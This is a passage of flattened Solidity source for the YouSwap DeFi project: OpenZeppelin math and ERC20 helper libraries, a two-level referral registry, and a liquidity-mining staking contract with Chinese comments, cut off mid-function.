function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity >=0.6.0 <0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: localhost/contract/library/ErrorCode.sol pragma solidity 0.7.4; library ErrorCode { string constant FORBIDDEN = 'YouSwap:FORBIDDEN'; string constant IDENTICAL_ADDRESSES = 'YouSwap:IDENTICAL_ADDRESSES'; string constant ZERO_ADDRESS = 'YouSwap:ZERO_ADDRESS'; string constant INVALID_ADDRESSES = 'YouSwap:INVALID_ADDRESSES'; string constant BALANCE_INSUFFICIENT = 'YouSwap:BALANCE_INSUFFICIENT'; string constant REWARDTOTAL_LESS_THAN_REWARDPROVIDE = 'YouSwap:REWARDTOTAL_LESS_THAN_REWARDPROVIDE'; string constant PARAMETER_TOO_LONG = 'YouSwap:PARAMETER_TOO_LONG'; string constant REGISTERED = 'YouSwap:REGISTERED'; string constant MINING_NOT_STARTED = 'YouSwap:MINING_NOT_STARTED'; string constant END_OF_MINING = 'YouSwap:END_OF_MINING'; string constant POOL_NOT_EXIST_OR_END_OF_MINING = 'YouSwap:POOL_NOT_EXIST_OR_END_OF_MINING'; } // File: localhost/contract/interface/IYouswapInviteV1.sol pragma solidity 0.7.4; interface IYouswapInviteV1 { struct UserInfo { address upper;//上级 address[] lowers;//下级 uint256 startBlock;//邀请块高 } event InviteV1(address indexed owner, address indexed upper, uint256 indexed height);//被邀请人的地址，邀请人的地址，邀请块高 function inviteCount() external view returns (uint256);//邀请人数 function inviteUpper1(address) external view returns (address);//上级邀请 function inviteUpper2(address) external view returns (address, address);//上级邀请 function inviteLower1(address) external view returns (address[] memory);//下级邀请 function inviteLower2(address) external view returns (address[] memory, address[] memory);//下级邀请 function inviteLower2Count(address) external view returns (uint256, uint256);//下级邀请 function register() external returns (bool);//注册邀请关系 function acceptInvitation(address) external returns (bool);//注册邀请关系 function inviteBatch(address[] memory) external returns (uint, uint);//注册邀请关系：输入数量，成功数量 } // File: localhost/contract/implement/YouswapInviteV1.sol pragma solidity 0.7.4; contract YouswapInviteV1 is IYouswapInviteV1 { address public constant ZERO = address(0); uint256 public startBlock; address[] public inviteUserInfoV1; mapping(address => UserInfo) public inviteUserInfoV2; constructor () { startBlock = block.number; } function inviteCount() override external view returns (uint256) { return inviteUserInfoV1.length; } function inviteUpper1(address _owner) override external view returns (address) { return inviteUserInfoV2[_owner].upper; } function inviteUpper2(address _owner) override external view returns (address, address) { address upper1 = inviteUserInfoV2[_owner].upper; address upper2 = address(0); if (address(0) != upper1) { upper2 = inviteUserInfoV2[upper1].upper; } return (upper1, upper2); } function inviteLower1(address _owner) override external view returns (address[] memory) { return inviteUserInfoV2[_owner].lowers; } function inviteLower2(address _owner) override external view returns (address[] memory, address[] memory) { address[] memory lowers1 = inviteUserInfoV2[_owner].lowers; uint256 count = 0; uint256 lowers1Len = lowers1.length; for (uint256 i = 0; i < lowers1Len; i++) { count += inviteUserInfoV2[lowers1[i]].lowers.length; } address[] memory lowers; address[] memory lowers2 = new address[](count); count = 0; for (uint256 i = 0; i < lowers1Len; i++) { lowers = inviteUserInfoV2[lowers1[i]].lowers; for (uint256 j = 0; j < lowers.length; j++) { lowers2[count] = lowers[j]; count++; } } return (lowers1, lowers2); } function inviteLower2Count(address _owner) override external view returns (uint256, uint256) { address[] memory lowers1 = inviteUserInfoV2[_owner].lowers; uint256 lowers2Len = 0; uint256 len = lowers1.length; for (uint256 i = 0; i < len; i++) { lowers2Len += inviteUserInfoV2[lowers1[i]].lowers.length; } return (lowers1.length, lowers2Len); } function register() override external returns (bool) { UserInfo storage user = inviteUserInfoV2[tx.origin]; require(0 == user.startBlock, ErrorCode.REGISTERED); user.upper = ZERO; user.startBlock = block.number; inviteUserInfoV1.push(tx.origin); emit InviteV1(tx.origin, user.upper, user.startBlock); return true; } function acceptInvitation(address _inviter) override external returns (bool) { require(msg.sender != _inviter, ErrorCode.FORBIDDEN); UserInfo storage user = inviteUserInfoV2[msg.sender]; require(0 == user.startBlock, ErrorCode.REGISTERED); UserInfo storage upper = inviteUserInfoV2[_inviter]; if (0 == upper.startBlock) { upper.upper = ZERO; upper.startBlock = block.number; inviteUserInfoV1.push(_inviter); emit InviteV1(_inviter, upper.upper, upper.startBlock); } user.upper = _inviter; upper.lowers.push(msg.sender); user.startBlock = block.number; inviteUserInfoV1.push(msg.sender); emit InviteV1(msg.sender, user.upper, user.startBlock); return true; } function inviteBatch(address[] memory _invitees) override external returns (uint, uint) { uint len = _invitees.length; require(len <= 100, ErrorCode.PARAMETER_TOO_LONG); UserInfo storage user = inviteUserInfoV2[msg.sender]; if (0 == user.startBlock) { user.upper = ZERO; user.startBlock = block.number; inviteUserInfoV1.push(msg.sender); emit InviteV1(msg.sender, user.upper, user.startBlock); } uint count = 0; for (uint i = 0; i < len; i++) { if ((address(0) != _invitees[i]) && (msg.sender != _invitees[i])) { UserInfo storage lower = inviteUserInfoV2[_invitees[i]]; if (0 == lower.startBlock) { lower.upper = msg.sender; lower.startBlock = block.number; user.lowers.push(_invitees[i]); inviteUserInfoV1.push(_invitees[i]); count++; emit InviteV1(_invitees[i], msg.sender, lower.startBlock); } } } return (len, count); } } // File: localhost/contract/interface/ITokenYou.sol pragma solidity 0.7.4; interface ITokenYou { function mint(address recipient, uint256 amount) external; function decimals() external view returns (uint8); } // File: localhost/contract/interface/IYouswapFactoryV1.sol pragma solidity 0.7.4; /** 挖矿 */ interface IYouswapFactoryV1 { /** 用户挖矿信息 */ struct RewardInfo { uint256 receiveReward;//总领取奖励 uint256 inviteReward;//总邀请奖励 uint256 pledgeReward;//总质押奖励 } /** 质押用户信息 */ struct UserInfo { uint256 startBlock;//质押开始块高 uint256 amount;//质押数量 uint256 invitePower;//邀请算力 uint256 pledgePower;//质押算力 uint256 pendingReward;//待领取奖励 uint256 inviteRewardDebt;//邀请负债 uint256 pledgeRewardDebt;//质押负债 } /** 矿池信息（可视化） */ struct PoolViewInfo { address lp;//LP地址 string name;//名称 uint256 multiple;//奖励倍数 uint256 priority;//排序 } /** 矿池信息 */ struct PoolInfo { uint256 startBlock;//挖矿开始块高 uint256 rewardTotal;//矿池总奖励 uint256 rewardProvide;//矿池已发放奖励 address lp;//lp合约地址 uint256 amount;//质押数量 uint256 lastRewardBlock;//最后发放奖励块高 uint256 rewardPerBlock;//单个区块奖励 uint256 totalPower;//总算力 uint256 endBlock;//挖矿结束块高 uint256 rewardPerShare;//单位算力奖励 } //////////////////////////////////////////////////////////////////////////////////// /** 自邀请 self：Sender地址 */ event InviteRegister(address indexed self); /** 更新矿池信息 action：true(新建矿池)，false(更新矿池) pool：矿池序号 lp：lp合约地址 name：矿池名称 startBlock：矿池开始挖矿块高 rewardTotal：矿池总奖励 rewardPerBlock：区块奖励 multiple：矿池奖励倍数 priority：矿池排序 */ event UpdatePool(bool action, uint256 pool, address indexed lp, string name, uint256 startBlock, uint256 rewardTotal, uint256 rewardPerBlock, uint256 multiple, uint256 priority); /** 矿池挖矿结束 pool：矿池序号 lp：lp合约地址 */ event EndPool(uint256 pool, address indexed lp); /** 质押 pool：矿池序号 lp：lp合约地址 from：质押转出地址 amount：质押数量 */ event Stake(uint256 pool, address indexed lp, address indexed from, uint256 amount); /** pool：矿池序号 lp：lp合约地址 totalPower：矿池总算力 owner：用户地址 ownerInvitePower：用户邀请算力 ownerPledgePower：用户质押算力 upper1：上1级地址 upper1InvitePower：上1级邀请算力 upper2：上2级地址 upper2InvitePower：上2级邀请算力 */ event UpdatePower(uint256 pool, address lp, uint256 totalPower, address indexed owner, uint256 ownerInvitePower, uint256 ownerPledgePower, address indexed upper1, uint256 upper1InvitePower, address indexed upper2, uint256 upper2InvitePower); //算力 /** 解质押 pool：矿池序号 lp：lp合约地址 to：解质押转入地址 amount：解质押数量 */ event UnStake(uint256 pool, address indexed lp, address indexed to, uint256 amount); /** 提取奖励 pool：矿池序号 lp：lp合约地址 to：奖励转入地址 amount：奖励数量 */ event WithdrawReward(uint256 pool, address indexed lp, address indexed to, uint256 amount); /** 挖矿 pool：矿池序号 lp：lp合约地址 amount：奖励数量 */ event Mint(uint256 pool, address indexed lp, uint256 amount); //////////////////////////////////////////////////////////////////////////////////// /** 修改OWNER */ function transferOwnership(address) external; /** 设置YOU */ function setYou(ITokenYou) external; /** 设置邀请关系 */ function setInvite(YouswapInviteV1) external; /** 质押 */ function deposit(uint256, uint256) external; /** 解质押、提取奖励 */ function withdraw(uint256, uint256) external; /** 矿池质押地址 */ function poolPledgeAddresss(uint256) external view returns (address[] memory); /** 算力占比 */ function powerScale(uint256, address) external view returns (uint256); /** 待领取的奖励 */ function pendingReward(uint256, address) external view returns (uint256); /** 下级收益贡献 */ function rewardContribute(address, address) external view returns (uint256); /** 个人收益加成 */ function selfReward(address) external view returns (uint256); /** 通过lp查询矿池编号 */ function poolNumbers(address) external view returns (uint256[] memory); /** 设置运营权限 */ function setOperateOwner(address, bool) external; //////////////////////////////////////////////////////////////////////////////////// /** 新建矿池 */ function addPool(string memory, address, uint256, uint256) external returns (bool); /** 修改矿池区块奖励 */ function setRewardPerBlock(uint256, uint256) external; /** 修改矿池总奖励 */ function setRewardTotal(uint256, uint256) external; /** 修改矿池名称 */ function setName(uint256, string memory) external; /** 修改矿池倍数 */ function setMultiple(uint256, uint256) external; /** 修改矿池排序 */ function setPriority(uint256, uint256) external; //////////////////////////////////////////////////////////////////////////////////// } // File: localhost/contract/implement/YouswapFactoryV1.sol pragma solidity 0.7.4; contract YouswapFactoryV1 is IYouswapFactoryV1 { using SafeMath for uint256; using SafeERC20 for IERC20; uint256 public deployBlock;//合约部署块高 address public owner;//所有权限 mapping(address => bool) public operateOwner;//运营权限 ITokenYou public you;//you contract YouswapInviteV1 public invite;//invite contract uint256 public poolCount = 0;//矿池数量 mapping(address => RewardInfo) public rewardInfos;//用户挖矿信息 mapping(uint256 => PoolInfo) public poolInfos;//矿池信息 mapping(uint256 => PoolViewInfo) public poolViewInfos;//矿池信息 mapping(uint256 => address[]) public pledgeAddresss;//矿池质押地址 mapping(uint256 => mapping(address => UserInfo)) public pledgeUserInfo;//矿池质押用户信息 uint256 public constant inviteSelfReward = 5;//质押自奖励，5% uint256 public constant invite1Reward = 15;//1级邀请奖励，15% uint256 public constant invite2Reward = 10;//2级邀请奖励，10% uint256 public constant rewardPerBlock = 267094;//区块奖励 uint256 public rewardTotal = 0;//总挖矿奖励 constructor (ITokenYou _you, YouswapInviteV1 _invite) { deployBlock = block.number; owner = msg.sender; invite = _invite; _setOperateOwner(owner, true); _setYou(_you); } //////////////////////////////////////////////////////////////////////////////////// function transferOwnership(address _owner) override external { require(owner == msg.sender, ErrorCode.FORBIDDEN); require((address(0) != _owner) && (owner != _owner), ErrorCode.INVALID_ADDRESSES); address oldOwner = owner; owner = _owner; _setOperateOwner(oldOwner, false); _setOperateOwner(owner, true); } function setYou(ITokenYou _you) override external { _setYou(_you); } function _setYou(ITokenYou _you) internal { require(owner == msg.sender, ErrorCode.FORBIDDEN); you = _you; } function setInvite(YouswapInviteV1 _invite) override external { require(owner == msg.sender, ErrorCode.FORBIDDEN); invite = _invite; } function deposit(uint256 _pool, uint256 _amount) override external { require(0 < _amount, ErrorCode.FORBIDDEN); PoolInfo storage poolInfo = poolInfos[_pool]; require((address(0) != poolInfo.lp) && (poolInfo.startBlock <= block.number), ErrorCode.MINING_NOT_STARTED); //require(0 == poolInfo.endBlock, ErrorCode.END_OF_MINING); (, uint256 startBlock) = invite.inviteUserInfoV2(msg.sender); if (0 == startBlock) { invite.register(); emit InviteRegister(msg.sender); } IERC20(poolInfo.lp).safeTransferFrom(msg.sender, address(this), _amount); (address upper1, address upper2) = invite.inviteUpper2(msg.sender); computeReward(_pool); provideReward(_pool, poolInfo.rewardPerShare, poolInfo.lp, msg.sender, upper1, upper2); addPower(_pool, msg.sender, _amount, upper1, upper2); setRewardDebt(_pool, poolInfo.rewardPerShare, msg.sender, upper1, upper2); emit Stake(_pool, poolInfo.lp, msg.sender, _amount); } function withdraw(uint256 _pool, uint256 _amount) override external { PoolInfo storage poolInfo = poolInfos[_pool]; require((address(0) != poolInfo.lp) && (poolInfo.startBlock <= block.number), ErrorCode.MINING_NOT_STARTED); if (0 < _amount) { UserInfo storage userInfo = pledgeUserInfo[_pool][msg.sender]; require(_amount <= userInfo.amount, ErrorCode.BALANCE_INSUFFICIENT); IERC20(poolInfo.lp).safeTransfer(msg.sender, _amount); emit UnStake(_pool, poolInfo.lp, msg.sender, _amount); } (address _upper1, address _upper2) = invite.inviteUpper2(msg.sender); computeReward(_pool); provideReward(_pool, poolInfo.rewardPerShare, poolInfo.lp, msg.sender, _upper1, _upper2); if (0 < _amount) { subPower(_pool, msg.sender, _amount, _upper1, _upper2); } setRewardDebt(_pool, poolInfo.rewardPerShare, msg.sender, _upper1, _upper2); } function poolPledgeAddresss(uint256 _pool) override external view returns (address[] memory) { return pledgeAddresss[_pool]; } function computeReward(uint256 _pool) internal { PoolInfo storage poolInfo = poolInfos[_pool]; if ((0 < poolInfo.totalPower) && (poolInfo.rewardProvide < poolInfo.rewardTotal)) { uint256 reward = (block.number - poolInfo.lastRewardBlock).mul(poolInfo.rewardPerBlock); if (poolInfo.rewardProvide.add(reward) > poolInfo.rewardTotal) { reward = poolInfo.rewardTotal.sub(poolInfo.rewardProvide); poolInfo.endBlock = block.number; } rewardTotal = rewardTotal.add(reward); poolInfo.rewardProvide = poolInfo.rewardProvide.add(reward); poolInfo.rewardPerShare = poolInfo.rewardPerShare.add(reward.mul(1e24).div(poolInfo.totalPower)); poolInfo.lastRewardBlock = block.number; emit Mint(_pool, poolInfo.lp, reward); if (0 < poolInfo.endBlock) { emit EndPool(_pool, poolInfo.lp); } } } function addPower(uint256 _pool, address _user, uint256 _amount, address _upper1, address _upper2) internal { PoolInfo storage poolInfo = poolInfos[_pool]; poolInfo.amount = poolInfo.amount.add(_amount); uint256 pledgePower = _amount; UserInfo storage userInfo = pledgeUserInfo[_pool][_user]; userInfo.amount = userInfo.amount.add(_amount); userInfo.pledgePower = userInfo.pledgePower.add(pledgePower); poolInfo.totalPower = poolInfo.totalPower.add(pledgePower); if (0 == userInfo.startBlock) { userInfo.startBlock = block.number; pledgeAddresss[_pool].push(msg.sender); } uint256 upper1InvitePower = 0; uint256 upper2InvitePower = 0; if (address(0) != _upper1) { uint256 inviteSelfPower = pledgePower.mul(inviteSelfReward).div(100); userInfo.invitePower = userInfo.invitePower.add(inviteSelfPower); poolInfo.totalPower = poolInfo.totalPower.add(inviteSelfPower); uint256 invite1Power = pledgePower.mul(invite1Reward).div(100); UserInfo storage upper1Info = pledgeUserInfo[_pool][_upper1]; upper1Info.invitePower = upper1Info.invitePower.add(invite1Power); upper1InvitePower = upper1Info.invitePower; poolInfo.totalPower = poolInfo.totalPower.add(invite1Power); if (0 == upper1Info.startBlock) { upper1Info.startBlock = block.number; pledgeAddresss[_pool].push(_upper1); } } if (address(0) != _upper2) { uint256 invite2Power = pledgePower.mul(invite2Reward).div(100); UserInfo storage upper2Info = pledgeUserInfo[_pool][_upper2]; upper2Info.invitePower = upper2Info.invitePower.add(invite2Power); upper2InvitePower = upper2Info.invitePower; poolInfo.totalPower = poolInfo.totalPower.add(invite2Power); if (0 == upper2Info.startBlock) { upper2Info.startBlock = block.number; pledgeAddresss[_pool].push(_upper2); } } emit UpdatePower(_pool, poolInfo.lp, poolInfo.totalPower, _user, userInfo.invitePower, userInfo.pledgePower, _upper1, upper1InvitePower, _upper2, upper2InvitePower); } function subPower(uint256 _pool, address _user, uint256 _amount, address _upper1, address _upper2) internal { PoolInfo storage poolInfo = poolInfos[_pool]; UserInfo storage userInfo = pledgeUserInfo[_pool][_user]; poolInfo.amount = poolInfo.amount.sub(_amount); uint256 pledgePower = _amount; userInfo.amount = userInfo.amount.sub(_amount); userInfo.pledgePower = userInfo.pledgePower.sub(pledgePower); poolInfo.totalPower = poolInfo.totalPower.sub(pledgePower); uint256 upper1InvitePower = 0; uint256 upper2InvitePower = 0; if (address(0) != _upper1) { uint256 inviteSelfPower = pledgePower.mul(inviteSelfReward).div(100); userInfo.invitePower = userInfo.invitePower.sub(inviteSelfPower); poolInfo.totalPower = poolInfo.totalPower.sub(inviteSelfPower); UserInfo storage upper1Info = pledgeUserInfo[_pool][_upper1]; if (0 < upper1Info.startBlock) { uint256 invite1Power = pledgePower.mul(invite1Reward).div(100); upper1Info.invitePower = upper1Info.invitePower.sub(invite1Power); upper1InvitePower = upper1Info.invitePower; poolInfo.totalPower = poolInfo.totalPower.sub(invite1Power); if (address(0) != _upper2) { UserInfo storage upper2Info = pledgeUserInfo[_pool][_upper2]; if (0 < upper2Info.startBlock) { uint256 invite2Power = pledgePower.mul(invite2Reward).div(100); upper2Info.invitePower = upper2Info.invitePower.sub(invite2Power); upper2InvitePower = upper2Info.invitePower; poolInfo.totalPower = poolInfo.totalPower.sub(invite2Power); } } } } emit UpdatePower(_pool, poolInfo.lp, poolInfo.totalPower, _user, userInfo.invitePower, userInfo.pledgePower, _upper1, upper1InvitePower, _upper2, upper2InvitePower); } function provideReward(uint256 _pool, uint256 _rewardPerShare, address _lp, address _user, address _upper1, address _upper2) internal { uint256 inviteReward = 0; uint256 pledgeReward = 0; UserInfo storage userInfo = pledgeUserInfo[_pool][_user]; if ((0 < userInfo.invitePower) || (0 < userInfo.pledgePower)) { inviteReward = userInfo.invitePower.mul(_rewardPerShare).sub(userInfo.inviteRewardDebt).div(1e24); pledgeReward = userInfo.pledgePower.mul(_rewardPerShare).sub(userInfo.pledgeRewardDebt).div(1e24); userInfo.pendingReward = userInfo.pendingReward.add(inviteReward.add(pledgeReward)); RewardInfo storage userRewardInfo = rewardInfos[_user]; userRewardInfo.inviteReward = userRewardInfo.inviteReward.add(inviteReward); userRewardInfo.pledgeReward = userRewardInfo.pledgeReward.add(pledgeReward); } if (0 < userInfo.pendingReward) { you.mint(_user, userInfo.pendingReward); RewardInfo storage userRewardInfo = rewardInfos[_user]; userRewardInfo.receiveReward = userRewardInfo.inviteReward; emit WithdrawReward(_pool, _lp, _user, userInfo.pendingReward); userInfo.pendingReward = 0; } if (address(0) != _upper1) { UserInfo storage upper1Info = pledgeUserInfo[_pool][_upper1]; if ((0 < upper1Info.invitePower) || (0 < upper1Info.pledgePower)) { inviteReward = upper1Info.invitePower.mul(_rewardPerShare).sub(upper1Info.inviteRewardDebt).div(1e24); pledgeReward = upper1Info.pledgePower.mul(_rewardPerShare).sub(upper1Info.pledgeRewardDebt).div(1e24); upper1Info.pendingReward = upper1Info.pendingReward.add(inviteReward.add(pledgeReward)); RewardInfo storage upper1RewardInfo = rewardInfos[_upper1]; upper1RewardInfo.inviteReward = upper1RewardInfo.inviteReward.add(inviteReward); upper1RewardInfo.pledgeReward = upper1RewardInfo.pledgeReward.add(pledgeReward); } if (address(0) != _upper2) { UserInfo storage upper2Info = pledgeUserInfo[_pool][_upper2]; if ((0 < upper2Info.invitePower) || (0 < upper2Info.pledgePower)) { inviteReward = upper2Info.invitePower.mul(_rewardPerShare).sub(upper2Info.inviteRewardDebt).div(1e24); pledgeReward = upper2Info.pledgePower.mul(_rewardPerShare).sub(upper2Info.pledgeRewardDebt).div(1e24); upper2Info.pendingReward = upper2Info.pendingReward.add(inviteReward.add(pledgeReward)); RewardInfo storage upper2RewardInfo = rewardInfos[_upper2]; upper2RewardInfo.inviteReward = upper2RewardInfo.inviteReward.add(inviteReward); upper2RewardInfo.pledgeReward = upper2RewardInfo.pledgeReward.add(pledgeReward); } } } } function setRewardDebt(uint256 _pool, uint256 _rewardPerShare, address _user, address _upper1, address _upper2) internal { UserInfo storage userInfo = pledgeUserInfo[_pool][_user]; userInfo.inviteRewardDebt = userInfo.invitePower.mul(_rewardPerShare); userInfo.pledgeRewardDebt = userInfo.pledgePower.mul(_rewardPerShare); if (address(0) != _upper1) { UserInfo storage upper1Info = pledgeUserInfo[_pool][_upper1]; upper1Info.inviteRewardDebt = upper1Info.invitePower.mul(_rewardPerShare); upper1Info.pledgeRewardDebt = upper1Info.pledgePower.mul(_rewardPerShare); if (address(0) != _upper2) { UserInfo storage upper2Info = pledgeUserInfo[_pool][_upper2]; upper2Info.inviteRewardDebt = upper2Info.invitePower.mul(_rewardPerShare); upper2Info.pledgeRewardDebt = upper2Info.pledgePower.mul(_rewardPerShare); } } } function powerScale(uint256 _pool, address _user) override external view returns (uint256) { PoolInfo memory poolInfo = poolInfos[_pool]; if (0 == poolInfo.totalPower) { return 0; } UserInfo memory userInfo = pledgeUserInfo[_pool][_user]; return (userInfo.invitePower.add(userInfo.pledgePower).mul(100)).div(poolInfo.totalPower); } function 